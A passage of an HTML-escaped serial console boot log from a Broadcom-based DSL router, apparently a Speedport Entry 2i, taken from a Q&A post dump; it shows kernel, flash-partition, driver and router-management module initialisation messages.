INFO**************************&#xA;version_sum:             :      2&#xA;version_nummax:          :      2&#xA;dwCurrVersionIndex:      :      0&#xA;dwBackVersionIndex:      :      1&#xA;&#xA;dwVersionStartPhyAddr   0:      f00000&#xA;dwHeadRealPhyAddr       0:      2020000&#xA;dwIsCurrentVersion      0:      1&#xA;dwVersionIsBad          0:      0&#xA;&#xA;dwVersionStartPhyAddr:  1:      2400000&#xA;dwHeadRealPhyAddr:      1:      3520000&#xA;dwIsCurrentVersion:     1:      0&#xA;dwVersionIsBad          1:      0&#xA;******************************************************&#xA;pdt_verinfo_init: tcVerInfo-&amp;gt;RunMode[3]&#xA;bootPara.bootWhichImg=0&#xA;bootPara.img_info_tbl[0].flashOffset=0x       0&#xA;sHardVersion=V1.0&#xA;bootPara.runmode=3&#xA;CPU revision is: 0002a081 (Broadcom BMIPS4350)&#xA;DSL SDRAM reserved: 0x132000&#xA;Determined physical RAM map:&#xA; memory: 07ece000 @ 00000000 (usable)&#xA;Initrd not found or empty - disabling initrd&#xA;Zone PFN ranges:&#xA;  DMA      0x00000000 -&amp;gt; 0x00001000&#xA;  Normal   0x00001000 -&amp;gt; 0x00007ece&#xA;Movable zone start PFN for each node&#xA;Early memory PFN ranges&#xA;    0: 0x00000000 -&amp;gt; 0x00007ece&#xA;On node 0 totalpages: 32462&#xA;free_area_init_node: node 0, pgdat 804b1750, node_mem_map 81000000&#xA;  DMA zone: 32 pages used for memmap&#xA;  DMA zone: 0 pages reserved&#xA;  DMA zone: 4064 pages, LIFO batch:0&#xA;  Normal zone: 222 pages used for memmap&#xA;  Normal zone: 28144 pages, LIFO batch:7&#xA;PERCPU: Embedded 7 pages/cpu @81103000 s5632 r8192 d14848 u32768&#xA;pcpu-alloc: s5632 r8192 d14848 u32768 alloc=8*4096&#xA;pcpu-alloc: [0] 0 [0] 1 &#xA;Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 32208&#xA;Kernel command line: root=31:9 ro rootfstype=jffs2  irqaffinity=0&#xA;PID hash table entries: 512 (order: -1, 2048 bytes)&#xA;Dentry cache hash table entries: 16384 (order: 4, 65536 bytes)&#xA;Inode-cache hash table entries: 8192 (order: 3, 32768 bytes)&#xA;Primary instruction cache 64kB, VIPT, 4-way, linesize 16 bytes.&#xA;Primary data cache 32kB, 2-way, VIPT, cache aliases, linesize 16 bytes&#xA;Memory: 122200k/129848k available (3668k kernel code, 7648k reserved, 1076k data, 240k init, 0k highmem)&#xA;Preemptible hierarchical RCU implementation.&#xA;NR_IRQS:128&#xA;console [ttyS0] enabled&#xA;Allocating memory for DSP module core and initialization code&#xA;Allocated DSP module memory - CORE=0x0 SIZE=0, INIT=0x0 SIZE=0&#xA;Calibrating delay loop... 598.01 BogoMIPS (lpj=299008)&#xA;pid_max: default: 32768 minimum: 301&#xA;Mount-cache hash table entries: 512&#xA;--Kernel Config--&#xA;  SMP=1&#xA;  PREEMPT=1&#xA;  DEBUG_SPINLOCK=0&#xA;  DEBUG_MUTEXES=0&#xA;Broadcom Logger v0.1 Mar 19 2018 17:37:42&#xA;CPU revision is: 0002a081 (Broadcom BMIPS4350)&#xA;Primary instruction cache 64kB, VIPT, 4-way, linesize 16 bytes.&#xA;Primary data cache 32kB, 2-way, VIPT, cache aliases, linesize 16 bytes&#xA;Brought up 2 CPUs&#xA;NET: Registered protocol family 16&#xA;pmc_init:PMC using DQM mode&#xA;1192:57:47 [Klogctl][Info] [(562)LogCtlInit] LogCtlInit begin&#xA;1192:57:47 [Klogctl][Info] [(579)LogCtlInit] LogCtlInit end&#xA;1192:57:47 [Kern][Notice] [monitor.c(938)MonitorInit]  cspmonitor init... !  &#xA;registering PCI controller with io_map_base unset&#xA;registering PCI controller with io_map_base unset&#xA;BLOG v3.0 Initialized&#xA;BLOG Rule v1.0 Initialized&#xA;Broadcom GBPM v0.1 Mar 19 2018 17:37:43 initialized&#xA;bio: create slab &amp;lt;bio-0&amp;gt; at 0&#xA;SCSI subsystem initialized&#xA;usbcore: registered new interface driver usbfs&#xA;usbcore: registered new interface driver hub&#xA;usbcore: registered new device driver usb&#xA;PCI host bridge to bus 0000:00&#xA;pci_bus 0000:00: root bus resource [mem 0x10600000-0x106fffff]&#xA;pci_bus 0000:00: root bus resource [io  0x11700000-0x1170ffff]&#xA;pci 0000:00:09.0: [14e4:6300] type 00 class 0x0c0310&#xA;pci 0000:00:09.0: reg 10: [mem 0x1000c400-0x1000c4ff]&#xA;pci 0000:00:0a.0: [14e4:6300] type 00 class 0x0c0320&#xA;pci 0000:00:0a.0: reg 10: [mem 0x1000c300-0x1000c3ff]&#xA;PCI host bridge to bus 0000:01&#xA;pci_bus 0000:01: root bus resource [mem 0xa0000000-0xbfffffff]&#xA;pci_bus 0000:01: root bus resource [??? 0x00000000 flags 0x0]&#xA;pci 0000:01:00.0: [14e4:6338] type 01 class 0x060400&#xA;pci 0000:01:00.0: PME# supported from D0 D3hot&#xA;pci 0000:02:00.0: [14e4:a8db] type 00 class 0x028000&#xA;pci 0000:02:00.0: reg 10: [mem 0x00000000-0x00007fff 64bit]&#xA;pci 0000:02:00.0: supports D1 D2&#xA;pci 0000:01:00.0: BAR 8: assigned [mem 0xa0000000-0xa00fffff]&#xA;pci 0000:02:00.0: BAR 0: assigned [mem 0xa0000000-0xa0007fff 64bit]&#xA;pci 0000:01:00.0: PCI bridge to [bus 02-02]&#xA;pci 0000:01:00.0:   bridge window [mem 0xa0000000-0xa00fffff]&#xA;PCI: Enabling device 0000:01:00.0 (0000 -&amp;gt; 0002)&#xA;bcmhs_spi bcmhs_spi.1: master is unqueued, this is deprecated&#xA;skbFreeTask created successfully&#xA;NET: Registered protocol family 8&#xA;NET: Registered protocol family 20&#xA;1192:57:47 [Kern][Info] [qos.c(5055)CSPKernel_QoS_I] Qos module init&#xA;Switching to clocksource MIPS&#xA;NET: Registered protocol family 2&#xA;IP route cache hash table entries: 1024 (order: 0, 4096 bytes)&#xA;TCP established hash table entries: 4096 (order: 3, 32768 bytes)&#xA;TCP bind hash table entries: 4096 (order: 3, 32768 bytes)&#xA;TCP: Hash tables configured (established 4096 bind 4096)&#xA;TCP: reno registered&#xA;UDP hash table entries: 128 (order: 0, 4096 bytes)&#xA;UDP-Lite hash table entries: 128 (order: 0, 4096 bytes)&#xA;NET: Registered protocol family 1&#xA;PCI: CLS 16 bytes, default 16&#xA;init_bcm_tstamp: unhandled mips_hpt_freq=300000000, adjust constants in bcm_tstamp.c&#xA;bcm_tstamp initialized, (hpt_freq=300000000 2us_div=300 2ns_mult=0 2ns_shift=0)&#xA;jffs2: version 2.2. (NAND) © 2001-2006 Red Hat, Inc.&#xA;msgmni has been set to 238&#xA;io scheduler noop registered (default)&#xA;brd: module loaded&#xA;loop: module loaded&#xA;SPI NAND Device Linux Registration&#xA;SPI NAND Linux Registration&#xA;SPI NAND device reset&#xA;Found SPI NAND device Winbond W25N01GV&#xA;SPI NAND device Winbond W25N01GV&#xA;   device id    = 0xefaa&#xA;   page size    = 0x800&#xA;   block size   = 0x20000&#xA;   total blocks = 0x400&#xA;   total size   = 0x8000000&#xA;NAND device: Manufacturer ID: 0xef, Chip ID: 0xaa (Winbond NAND 128MiB 1,8V 8-bit)&#xA;NAND_ECC_NONE selected by board driver. This is not recommended!&#xA;Creating 10 MTD partitions on &quot;Winbond W25N01GV&quot;:&#xA;0x000000000000-0x000000220000 : &quot;boot&quot;&#xA;0x000000220000-0x000000320000 : &quot;tag&quot;&#xA;0x000000320000-0x0000004a0000 : &quot;userconfig&quot;&#xA;0x0000004a0000-0x000000620000 : &quot;backconfig&quot;&#xA;0x000000620000-0x0000007a0000 : &quot;defconfig&quot;&#xA;0x0000007a0000-0x000000920000 : &quot;log&quot;&#xA;0x000000920000-0x000000aa0000 : &quot;env&quot;&#xA;0x000000f00000-0x000002400000 : &quot;rootfs1&quot;&#xA;0x000002400000-0x000003900000 : &quot;rootfs2&quot;&#xA;0x0000010a0000-0x000002020000 : &quot;filesystem&quot;&#xA;brcmboard: brcm_board_init entry&#xA;Failed to create a netlink socket for monitor&#xA;DYING GASP IRQ initialized &#xA;Serial: BCM63XX driver $Revision: 3.00 $&#xA;Magic SysRq with Auxilliary trigger char enabled (type ^ h for list of supported commands)&#xA;ttyS0 at MMIO 0xb0000280 (irq = 8) is a BCM63XX&#xA;ttyS1 at MMIO 0xb00002a0 (irq = 9) is a BCM63XX&#xA;Total # RxBds=5154&#xA;bcmPktDmaBds_init: Broadcom Packet DMA BDs initialized&#xA;&#xA;BPM: tot_mem_size=134217728B (128MB), buf_mem_size &amp;lt;15%&amp;gt; =20132655B (19MB), num of buffers=9679, buf size=2080&#xA;Broadcom BPM Module Char Driver v0.1 Mar 19 2018 17:37:47 Registered&amp;lt;244&amp;gt;&#xA;Info:zte_watchdog_init, errorEPC = 0f7e7716&#xA;pktgen: Packet Generator for packet performance testing. Version: 2.74&#xA;Netfilter messages via NETLINK v0.30.&#xA;nf_conntrack version 0.5.0 (1909 buckets, 7636 max)&#xA;ip_tables: (C) 2000-2006 Netfilter Core Team&#xA;NET: Registered protocol family 10&#xA;ip6_tables: (C) 2000-2006 Netfilter Core Team&#xA;IPv6 over IPv4 tunneling driver&#xA;NET: Registered protocol family 17&#xA;1192:57:48 [Kern][Info] [br_com_special_(109)arp_stolen_init] arp_stolen firewalling registered&#xA;Bridge firewalling registered&#xA;Ebtables v2.0 registered&#xA;L2TP core driver, V2.0&#xA;PPPoL2TP kernel driver, V2.0&#xA;PPP generic driver version 2.4.2&#xA;NET: Registered protocol family 24&#xA;1192:57:48 [Kern][Info] [ver_info_nand.c(457)ver_info_init] ver_info_init&#xA;1192:57:48 [Kern][Notice] [csp_ifinfo.c(219)csp_ifinfo_init] Initializing CSP IFinfo...&#xA;1192:57:48 [Kern][Notice] [sweth_core.c(2760)sweth_init] SW&amp;amp;ETH HAL driver initing!&#xA;1192:57:48 [Kern][Notice] [sweth_core.c(140)CreateSwEthObjs] Create SW &amp;amp; ETH objects&#xA;1192:57:48 [Kern][Notice] [sweth_core.c(156)CreateSwEthObjs] Failed to get SWITCH attr, iRet=-2&#xA;1192:57:48 [Kern][Info] [sweth_core.c(163)CreateSwEthObjs] nEmac = 1, nSw = 0, nEth=4.&#xA;1192:57:48 [Kern][Warn] [sweth_core.c(310)CreateSwEthObjs] Failed to get TAG_PARA_MAC1!&#xA;1192:57:48 [Kern][Info] [sweth_core.c(322)CreateSwEthObjs] ETH obj0: PhyType = 1, Is_assoc_sw = 0, Emac = 0, Phy = 1&#xA;1192:57:48 [Kern][Warn] [sweth_core.c(310)CreateSwEthObjs] Failed to get TAG_PARA_MAC1!&#xA;1192:57:48 [Kern][Info] [sweth_core.c(322)CreateSwEthObjs] ETH obj1: PhyType = 1, Is_assoc_sw = 0, Emac = 0, Phy = 2&#xA;1192:57:48 [Kern][Warn] [sweth_core.c(310)CreateSwEthObjs] Failed to get TAG_PARA_MAC1!&#xA;1192:57:48 [Kern][Info] [sweth_core.c(322)CreateSwEthObjs] ETH obj2: PhyType = 1, Is_assoc_sw = 0, Emac = 0, Phy = 3&#xA;1192:57:48 [Kern][Warn] [sweth_core.c(310)CreateSwEthObjs] Failed to get TAG_PARA_MAC1!&#xA;1192:57:48 [Kern][Info] [sweth_core.c(322)CreateSwEthObjs] ETH obj3: PhyType = 1, Is_assoc_sw = 0, Emac = 0, Phy = 4&#xA;Jiffies_test Driver Init Successfully &#xA;logger: created 1024K log 'logger_main' major '99'&#xA;: success register character device for /dev/monitor&#xA;1192:57:48 [Kern][Notice] [cspmirror.c(1245)mirror_init] ***********mirror_init************&#xA;systools version:v0.7.0&#xA;errorEPC = 0f7e7716&#xA;1192:57:48 [Kern][Info] [br_multicast_se(7234)br_mcparam_init] info init!&#xA;1192:57:48 [Kern][Info] [qp_meter_api.c(66)QoSPolicerMeter] Register Meter(stb)&#xA;1192:57:48 [Kern][Info] [qp_meter_api.c(66)QoSPolicerMeter] Register Meter(srtc)&#xA;1192:57:48 [Kern][Info] [qp_meter_api.c(66)QoSPolicerMeter] Register Meter(trtc)&#xA;1192:57:48 [Kern][Info] [qp_meter_api.c(66)QoSPolicerMeter] Register Meter(hard)&#xA;1192:57:48 [Kern][Info] [qp_act_api.c(66)QoSPolicerActRe] Register Action(null)&#xA;1192:57:48 [Kern][Info] [qp_act_api.c(66)QoSPolicerActRe] Register Action(drop)&#xA;1192:57:48 [Kern][Info] [qp_act_api.c(66)QoSPolicerActRe] Register Action(dscp_mark)&#xA;1192:57:48 [Kern][Info] [qp_act_api.c(66)QoSPolicerActRe] Register Action(vlan_prio_mark)&#xA;1192:57:48 [Kern][Info] [qp_act_api.c(66)QoSPolicerActRe] Register Action(dscp_vlan_prio_mark)&#xA;child_dev_init start&#xA;child_dev_ioctl_set set[80393d20]&#xA;#######begin FDB_Notify Reg&#xA;#######after FDB_Notify Reg&#xA;#######begin FDB_Notify Reg&#xA;Shouldn't be in WHILE&#xA;#######after FDB_Notify Reg&#xA;1192:57:48 [Kern][Error] [ledkey_callback(26)keycallback_ini] Install WPS KEY Callback Failed!&#xA;VFS: Mounted root (jffs2 filesystem) readonly on device 31:9.&#xA;Freeing unused kernel memory: 240k freed&#xA;init normal mode!!!&#xA;&#xA;Loading drivers and kernel modules... &#xA;&#xA;jffs2: notice: (269) check_node_data: wrong data CRC in data node at 0x00161318: read 0x90074d32, calculated 0xe9fe5f3a.&#xA;mkdir: can't create directory '/defcfg/chain1': File exists&#xA;mkdir: can't create directory '/defcfg/chain2': File exists&#xA;chipinfo: module license 'proprietary' taints kernel.&#xA;Disabling lock debugging due to kernel taint&#xA;brcmchipinfo: brcm_chipinfo_init entry&#xA;bcmxtmrt: Broadcom BCM3381B0 ATM/PTM Network Device v0.6 Mar 19 2018 17:43:20&#xA;bcmxtmcfg: bcmxtmcfg_init entry&#xA;adsl: adsl_init entry&#xA;Broadcom BCM63381B0 Ethernet Network Device v0.1 Mar 19 2018 17:43:02&#xA;ETH Init: Ch:0 - 200 tx BDs at 0xa639c000&#xA;ETH Init: Ch:0 - 3871 rx BDs at 0xa5d18000&#xA;vport_cnt=4, consolidated_portmap=0xF&#xA;dgasp: kerSysRegisterDyingGaspHandler: bcmsw registered &#xA;vport_id=0x1, logical_port=0x0&#xA;vnet_dev[vport_id=1]=eth0&#xA;ETH0--&amp;gt;eth0&#xA;eth0: &amp;lt;Int sw port: 0&amp;gt; &amp;lt;Logical : 00&amp;gt; PHY_ID &amp;lt;0x00000001 : 0x01&amp;gt; MAC : 00:D0:D0:00:00:01&#xA;vport_id=0x2, logical_port=0x1&#xA;vnet_dev[vport_id=2]=eth1&#xA;ETH1--&amp;gt;eth1&#xA;eth1: &amp;lt;Int sw port: 1&amp;gt; &amp;lt;Logical : 01&amp;gt; PHY_ID &amp;lt;0x00000002 : 0x02&amp;gt; MAC : 00:D0:D0:00:00:01&#xA;vport_id=0x3, logical_port=0x2&#xA;vnet_dev[vport_id=3]=eth2&#xA;ETH2--&amp;gt;eth2&#xA;eth2: &amp;lt;Int sw port: 2&amp;gt; &amp;lt;Logical : 02&amp;gt; PHY_ID &amp;lt;0x00000003 : 0x03&amp;gt; MAC : 00:D0:D0:00:00:01&#xA;vport_id=0x4, logical_port=0x3&#xA;vnet_dev[vport_id=4]=eth3&#xA;ETH3--&amp;gt;eth3&#xA;eth3: &amp;lt;Int sw port: 3&amp;gt; &amp;lt;Logical : 03&amp;gt; PHY_ID &amp;lt;0x00000004 : 0x04&amp;gt; MAC : 00:D0:D0:00:00:01&#xA;Ethernet Auto Power Down and Sleep: Enabled&#xA;Energy Efficient Ethernet: Enabled&#xA;#######begin FDB_Notify Reg&#xA;Shouldn't be in WHILE&#xA;Shouldn't be in WHILE&#xA;#######after FDB_Notify Reg&#xA;#######begin FDB_Notify Reg&#xA;Shouldn't be in WHILE&#xA;Shouldn't be in WHILE&#xA;Shouldn't be in WHILE&#xA;#######after FDB_Notify Reg&#xA;1192:58:01 [Kern][Notice] [bcm_emac_adapte(663)Register_bcm_em] Register BCM EMAC driver&#xA;1192:58:01 [Kern][Notice] [sweth_core.c(588)RegisterEmacDrv] Register EMAC driver&#xA;1192:58:01 [Kern][Notice] [sweth_core.c(429)InitSwEthObjs] Initialise SW &amp;amp; ETH objects&#xA;1192:58:01 [Kern][Warn] [sweth_core.c(1762)hal_set_port_ma] Driver do not support set MAC address!&#xA;1192:58:01 [Kern][Warn] [sweth_core.c(1762)hal_set_port_ma] Driver do not support set MAC address!&#xA;1192:58:01 [Kern][Warn] [sweth_core.c(1762)hal_set_port_ma] Driver do not support set MAC address!&#xA;1192:58:01 [Kern][Warn] [sweth_core.c(1762)hal_set_port_ma] Driver do not support set MAC address!&#xA;NComm TMS V6.80 Kernel Module loaded.&#xA;Loading PCM shim driver&#xA;&#xA;Endpoint: endpoint_init entry&#xA;BOS: Enter bosInit &#xA;BOS: Exit bosInit &#xA;fxsnum 2,fx0 num 0 ,dect 0Endpoint: endpoint_init COMPLETED&#xA;Broadcom 802.1Q VLAN Interface, v0.1&#xA;ADDRCONF(NETDEV_UP): eth0: link is not ready&#xA;device eth0 entered promiscuous mode&#xA;Host MIPS Clock divider pwrsaving is enabled&#xA;/etc/init.norm: line 120: hostname: not found&#xA;sched_setaffinity cpu 0 (ret = 0)&#xA;1192:57:55 [User][Info] [mount_jffs2.c(37)main] mount dev is  /dev/mtdblock2  mount point is /usercfg/&#xA;1192:57:55 [User][Info] [mount_jffs2.c(99)main] mtdInfo: /dev/mtd2 size=1572864, erasesize=131072 bad block count 0 &#xA;1192:57:56 [User][Info] [mount_jffs2.c(161)main] mount dev  /dev/mtdblock2  at dir /usercfg/  success&#xA;1192:57:56 [User][Info] [mount_jffs2.c(37)main] mount dev is  /dev/mtdblock3  mount point is /backcfg/&#xA;1192:57:56 [User][Info] [mount_jffs2.c(99)main] mtdInfo: /dev/mtd3 size=1572864, erasesize=131072 bad block count 0 &#xA;1192:57:56 [User][Info] [mount_jffs2.c(161)main] mount dev  /dev/mtdblock3  at dir /backcfg/  success&#xA;1192:57:56 [User][Info] [mount_jffs2.c(37)main] mount dev is  /dev/mtdblock4  mount point is /defcfg/&#xA;1192:57:56 [User][Info] [mount_jffs2.c(99)main] mtdInfo: /dev/mtd4 size=1572864, erasesize=131072 bad block count 0 &#xA;1192:57:56 [User][Info] [mount_jffs2.c(161)main] mount dev  /dev/mtdblock4  at dir /defcfg/  success&#xA;1192:57:56 [User][Info] [mount_jffs2.c(37)main] mount dev is  /dev/mtdblock5  mount point is /log/&#xA;1192:57:56 [User][Info] [mount_jffs2.c(99)main] mtdInfo: /dev/mtd5 size=1572864, erasesize=131072 bad block count 0 &#xA;1192:57:56 [User][Info] [mount_jffs2.c(161)main] mount dev  /dev/mtdblock5  at dir /log/  success&#xA;1192:57:56 [User][Info] [mount_jffs2.c(37)main] mount dev is  /dev/mtdblock6  mount point is /env/&#xA;1192:57:56 [User][Info] [mount_jffs2.c(99)main] mtdInfo: /dev/mtd6 size=1572864, erasesize=131072 bad block count 0 &#xA;1192:57:56 [User][Info] [mount_jffs2.c(161)main] mount dev  /dev/mtdblock6  at dir /env/  success&#xA;1192:58:04 [User][Warn] [ifconfig.c(957)ifconfig] Ioctl failed!SIOCSIFADDR&#xA;1192:58:04 [OSS][Notice] [pc.c(1907)initPCFd] open /dev/ptyp0 success.&#xA;&#xA;(none) &#xA;PID:  344&#xA;&#xA;1192:58:09 [User][Info] [db_shm_mgr.c(109)DBShmSrvInit] iShmId:32769&#xA;1192:58:09 [User][Info] [db_shm_mgr.c(124)DBShmSrvInit] pShmBuf:60000000&#xA;[log_file.c(1704)ProcLogConf] Set LOG_FILE_CONF_SET_PDTCONF.&#xA;[log_file.c(1768)ProcLogConf] Set cAutoSave = 1&#xA;[log_filesave.c(176)CheckLogConfFile] File not exist: filename(/log/flag_usrfs), Cnt=40&#xA;1192:58:10 [dhcps][Info] [dhcps.c(160)DHCPSInit] module init success!dhcp server&#xA;1192:58:10 [dhcp4c][Warn] [dhcp4c_inst.c(4402)_dhcp4cRegSendO] Send code[60]fun[0x58fbf4] is replaced by fun[0x594d60]&#xA;1192:58:10 [monitor][Info] [cspd_monitor.c(422)MonitorMain] monitor init success&#xA;1192:58:10 [PingTracert_mgr][Info] [tracert_mgr.c(1107)tracertInit] module init success!tracert mgr&#xA;1192:58:10 [ethlinkvlan][Info] [ifs_ethlinkvlan(2313)linkifMain] IfsMain recv event(4352) msgptr((nil)) len(0)&#xA;1192:58:10 [ethlinkvlan][Info] [ifs_ethlinkvlan(2181)linkifAsynmsg] lpMsg == NULL&#xA;1192:58:10 [ppp_mgr][Info] [ppp_mgr.c(6398)PPPInit] module init success!&#xA;1192:58:10 [ipif_mgr][Info] [ifs_ipif.c(2102)ifsIPIFMain] IfsMain recv event(0x1100) msgptr((nil)) len(0)&#xA;1192:58:10 [ipif_mgr][Info] [ipv4_addr_mgr.c(1294)ipv4AddrInit] [ipv4AddrInit] success&#xA;1192:58:10 [ipif_mgr][Info] [ifs_ipif.c(2085)ifsIPIFInit] [ifsIPIFInit] success&#xA;1192:58:10 [ipif_mgr][Info] [ifs_ipif.c(1910)ifsAsynmsg] unknown ASynMsg!msg id = 4352&#xA;1192:58:10 [addr6_mgr][Info] [addr6_mgr.c(3429)Addr6Main] wEvent=0x1100, wMsgType=1, wMsgLen=0, wState=0&#xA;1192:58:10 [prefix_mgr][Info] [prefix_mgr.c(3223)prefixInit] Prefix Init Success!&#xA;1192:58:10 [bridge][Info] [bridge.c(2161)bridgeInit] module init success!(bridge_mgr)&#xA;1192:58:10 [eth_mgr][Info] [eth_mgr.c(1847)ethInit] module init success!ethernet mgr&#xA;1192:58:10 [htat_mgr][Info] [htat_mgr.c(2075)htatInit] module init success!htat_mgr init&#xA;1192:58:10 [dsl_mgr][Info] [dsl_mgr.c(3468)dsl_init] dsl init ok&#xA;1192:58:10 [xtm_mgr][Info] [xtm_mgr.c(4252)xtmInit] [xtmInit] start&#xA;1192:58:10 [xtm_mgr][Info] [xtm_mgr.c(4278)xtmInit] xtm init ok&#xA;1192:58:10 [xtm_mgr][Info] [xtm_mgr.c(4280)xtmInit] xtm support dynamic add/del interface&#xA;1192:58:10 [ptry_mgr][Info] [ptry_mgr.c(478)ptryMgrInit] module init success!(PTry mgr)&#xA;1192:58:10 [route_mgr][Info] [policy_route.c(1646)policyRtTableIn] policyRtTableInit ok&#xA;1192:58:10 [route_mgr][Info] [policy_route.c(1561)defPolicyRtChai] defPolicyRtChainInit ok&#xA;1192:58:10 [route_mgr][Info] [rip_mgr.c(39)RIPInit] Common Info: rip init&#xA;1192:58:10 [route_mgr][Info] [ripng_mgr.c(39)RIPngInit] Common Info: ripng init&#xA;1192:58:10 [route_mgr][Info] [route_mgr.c(802)routeInit] SubScribPublish DefGW Service OK&#xA;1192:58:10 [binding_mgr][Info] [binding_mgr.c(1666)bindingInit] [bindingInit] end&#xA;1192:58:10 [qos_mgr][Info] [qos_default_qdi(2246)RegisterDefault] RegisterDefaultIFQdisc. IF WAN&amp;amp;DEV.BRIDGING.BR1.BRPORT, Qdisc CSPDefSPWRRWFQ&#xA;1192:58:10 [qos_mgr][Info] [interface_api.c(1560)RegisterNetIFNo] RegisterNetIFNotify start, event[6] IF_ID[] WanLan[3] Handle[0x4c42dc]&#xA;1192:58:10 [qos_mgr][Info] [interface_api.c(1603)RegisterNetIFNo] Reg NetIF Notify ok, IF_ID[], WanLan[3], pHandle[0x4c42dc], Event[6]&#xA;1192:58:10 [qos_mgr][Info] [interface_api.c(1560)RegisterNetIFNo] RegisterNetIFNotify start, event[6] IF_ID[DEV.PTM.LINK1] WanLan[3] Handle[0x4c4088]&#xA;1192:58:10 [qos_mgr][Info] [interface_api.c(1573)RegisterNetIFNo] IF_ID Not Null[DEV.PTM.LINK1]&#xA;1192:58:10 [qos_mgr][Info] [interface_api.c(1603)RegisterNetIFNo] Reg NetIF Notify ok, IF_ID[DEV.PTM.LINK1], WanLan[3], pHandle[0x4c4088], Event[6]&#xA;1192:58:10 [sntp_mgr][Info] [time_policy.c(101)TpInit] module init success!3&#xA;1192:58:10 [sntp_mgr][Info] [sntp_mgr.c(1694)sntpInit] module init success!SNTP mgr&#xA;1192:58:10 [ddns_mgr][Info] [ddns_mgr.c(1539)ddnsInit] module init success!ddns_mgr&#xA;1192:58:10 [dns_mgr][Info] [dns_mgr.c(437)dnsInit] SubScribPublish NetIF Service OK&#xA;1192:58:10 [dns_mgr][Info] [comp_dns_mgr.c(76)CompDnsInit] Init Comp_Dns_Mgr Success!&#xA;1192:58:10 [fm_mgr][Info] [fm_mgr.c(2641)fmServerInit] module init success!Enter FmServer Init!&#xA;1192:58:10 [fm_mgr][Info] [fm_mgr.c(4236)fmMgrInit] module init success!fm mgr&#xA;1192:58:10 [tr143_mgr][Info] [tr143_mgr.c(547)tr143Init] module init success!tr143 mgr&#xA;1192:58:10 [ipv6_tunl_mgr][Info] [ipv6_tunl_mgr.c(416)IPv6TunlMgrMain] wEvent=0x1100, wMsgType=1, wMsgLen=0, wState=0&#xA;1192:58:10 [ipv6_tunl_mgr][Info] [tunl46_mgr.c(1851)TunnelMain] wEvent=0x1100, wMsgType=1, wMsgLen=0, wState=0&#xA;1192:58:10 [ipv6_tunl_mgr][Info] [tunl46_mgr.c(1617)TunnelMgrInit] [TunnelMgrInit] start&#xA;1192:58:10 [ipv6_tunl_mgr][Info] [tunl46_mgr.c(1622)TunnelMgrInit] [TunnelMgrInit] OK&#xA;1192:58:10 [ipv6_tunl_mgr][Info] [tunl64_mgr.c(1826)Tunl64Main] wEvent=0x1100, wMsgType=1, wMsgLen=0, wState=0&#xA;1192:58:10 [fon_mgr][Info] [fon_mgr.c(3915)FonMain] wEvent=0x1100, wMsgType=1, wMsgLen=0, wState=0&#xA;1192:58:10 [ipif_mgr][Info] [ifs_netif.c(2579)interfaceNotify] [interfaceNotifyHook] start, to pid[10103]&#xA;1192:58:10 [ipif_mgr][Info] [ifs_netif.c(2579)interfaceNotify] [interfaceNotifyHook] start, to pid[10103]&#xA;1192:58:10 [DB][Error] [dbc_mgr_tbl.c(494)dbCreateDomainN] create table fail (ParentControlUser) domain(FilterMode) error default value&#xA;1192:58:10 [DB][Info] [dbc_tbl_wol_inf(18)dbCreateWolInfo] call dbCreateWolInfoTbl&#xA;1192:58:10 [DB][Error] [dbc_def_dev_inf(176)setVerNumFromFi] /etc/ver_num_des file open error!&#xA;1192:58:10 [DB][Warn] [dbc_mgr_tbl.c(1662)dbSetValComm] not find domain table(WLANBase) domain(AutoChannelFrom)&#xA;1192:58:10 [DB][Warn] [dbc_mgr_tbl.c(1662)dbSetValComm] not find domain table(WLANBase) domain(AutoChannelTo)&#xA;1192:58:10 [DB][Error] [dbc_mgr_def.c(79)dbMgrStaticSetI] not find table (PDTWLANWAPI)&#xA;1192:58:10 [DB][Info] [dbc_def_wol_inf(22)dbDefWolInfo] call dbDefWolInfo&#xA;1192:58:10 [DB][Info] [dbc_init_pdt_in(2485)dbCheckSingleCf] DB Decry cfg end (iRet: 0)&#xA;1192:58:10 [DB][Warn] [dbc_mgr_file_xm(1688)_dbXMLTblChk] load database failed table(L2BAvailIF) cut or exceed max row or unequal row.&#xA;1192:58:10 [DB][Warn] [dbc_mgr_file_xm(1688)_dbXMLTblChk] load database failed table(BrFilter) cut or exceed max row or unequal row.&#xA;1192:58:11 [DB][Info] [dbc_person_teln(66)dbPersonInitTel] set password&#xA;1192:58:11 [DB][Info] [dbc_mgr_file.c(1250)dbFileLoadCfg] find file /var/tmp/db_Decry_cfg.xml&#xA;1192:58:15 [DB][Info] [dbc_mgr_file.c(2290)dbInitSignVal] szCfgSignVal= Speedport Entry 2i,iRet:0&#xA;1192:58:15 [DB][Info] [dbc_init_pdt_in(1636)_PdtDBTransferC] [_PdtDBTransferCfg] dwFlagVerNum=12, dwFlagVerNumExt=5&#xA;1192:58:15 [DB][Info] [dbc_core.c(1249)dbEndTm] (ALL) end, use 455 tick&#xA;1192:58:15 [OSS][Warn] [oss_sche.c(868)RunProcess] RunProcess process[DB] Event[0x1100] dwUsedTicks[483]&#xA;----------------------------------------------[log_file.c(1444)ProcLogConf] Set SaveEnable=1&#xA;1192:58:15 [dhcp6s][Info] [ipif_api.c(2190)RegAddr6Notify] RegAddr6Notify start, event[3] IF_ID[] WanLan[2] Handle[0x59cdc8]&#xA;1192:58:15 [PingTracert_mgr][Info] [tracert_mgr.c(1134)tracertStart] module start success!tracert mgr&#xA;1192:58:15 [srm_mgr][Info] [srm_mgr.c(228)SrmInit] module init success!use SRM_DBVIEW data&#xA;1192:58:15 [adev_mgr][Info] [extend_options.(121)CspAddParseOptP] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26215" LastActivityDate="2018-11-05T09:57:32.970" CommentCount="1" CommunityOwnedDate="2018-11-05T15:47:50.327" ContentLicense="CC BY-SA 4.0" />
